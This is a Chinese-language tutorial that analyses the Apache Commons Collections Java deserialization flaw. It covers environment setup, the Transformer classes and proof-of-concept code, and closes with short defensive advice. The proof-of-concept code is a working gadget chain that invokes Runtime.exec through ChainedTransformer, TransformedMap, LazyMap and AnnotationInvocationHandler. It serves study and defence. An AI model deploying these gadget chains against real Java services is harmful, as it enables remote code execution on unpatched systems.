从CommonsCollections中各Transformer的了解到Proof of Concept的编写教程全过程
字数 1486 2025-08-11 08:36:33
Apache Commons Collections反序列化漏洞分析与POC编写教程
一、环境搭建
JDK7环境配置
-
下载JDK7
- 从Oracle官网下载对应版本的JDK7(注意系统位数匹配)
- 32位/64位系统需要下载对应的版本
-
安装步骤
sudo mkdir -p /usr/local/java sudo cp -r jdk-7u80-linux-x64.tar.gz /usr/local/java sudo tar xvzf jdk-7u80-linux-x64.tar.gz -
配置环境变量
sudo vim ~/.bashrc添加以下内容:
JAVA_HOME=/usr/local/java/jdk1.7.0_80 JRE_HOME=/usr/local/java/jdk1.7.0_80 PATH=$PATH:$JRE_HOME/bin:$JAVA_HOME/bin export JAVA_HOME export JRE_HOME export PATH -
更新alternatives
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.7.0_80/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.7.0_80/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.7.0_80/bin/javaws" 1 sudo update-alternatives --set java /usr/local/java/jdk1.7.0_80/bin/java sudo update-alternatives --set javac /usr/local/java/jdk1.7.0_80/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk1.7.0_80/bin/javaws -
验证安装
source ~/.bashrc java -version
二、漏洞原理分析
关键类与接口
-
Transformer接口
- 核心接口,只有一个方法:
Object transform(Object input)
- 核心接口,只有一个方法:
-
TransformedMap
- 修饰标准Map数据结构
- 构造方法:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer); - keyTransformer: 处理新元素Key的回调
- valueTransformer: 处理新元素Value的回调
-
ConstantTransformer
- 实现Transformer接口
- 包装任意对象,执行回调时返回该对象
- 示例:
public Object transform(Object input) { return iConstant; }
-
InvokerTransformer
- 实现Transformer接口,可执行任意方法
- 构造参数:
- 方法名
- 参数类型数组
- 参数值数组
- 示例:
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
-
ChainedTransformer
- 将多个Transformer串联执行
- 示例:
new ChainedTransformer(transformers)
漏洞触发流程
- 使用
ConstantTransformer包装Runtime.getRuntime() - 使用
InvokerTransformer调用exec方法执行命令 - 通过
ChainedTransformer串联Transformer - 使用
TransformedMap.decorate修饰Map - 向Map中添加元素触发漏洞
三、POC编写
基础POC示例
package pers.serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxx");
}
}
实际利用POC
-
使用AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outMap); -
解决Runtime序列化问题
// 使用反射获取Runtime,避免序列化问题 Method method = Runtime.class.getMethod("getRuntime"); Runtime res = (Runtime) method.invoke(null); res.exec("calc"); -
完整利用链
- 需要Java 8u71之前的版本
- 使用
Retention.class并put一个value为键的键值对
ysoserial实现差异
-
使用LazyMap而非TransformedMap
TransformedMap: 写入元素时执行transformLazyMap: get元素时执行transform
-
代理机制
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
四、漏洞利用条件
-
环境要求
- Java版本: 8u71之前
- 依赖库: Apache Commons Collections
-
利用链分析
- 通过
AnnotationInvocationHandler的readObject方法触发 - 需要
var12不为null才会触发漏洞
- 通过
-
Payload生成流程
- 使用
InvokerTransformer和反射获取Runtime.getRuntime().exec - 创建HashMap存储元素
- 通过
Gadgets#createMemoitizedProxy创建代理 - 使用
Reflections#getFirstCtor获取AnnotationInvocationHandler构造方法 - 最终实现序列化
- 使用
五、防御措施
-
升级Java版本
- 升级至Java 8u71及以上版本
-
升级Commons Collections
- 使用最新版本的Apache Commons Collections
-
输入验证
- 对反序列化数据进行严格验证
-
使用安全框架
- 如Hibernate Validator等
六、总结
本教程详细分析了Apache Commons Collections反序列化漏洞的原理、利用方式及POC编写方法。关键在于理解Transformer链的构造方式和如何通过Java反序列化机制触发漏洞。实际利用时需要注意Java版本限制和依赖库版本,同时也要了解防御措施以保护系统安全。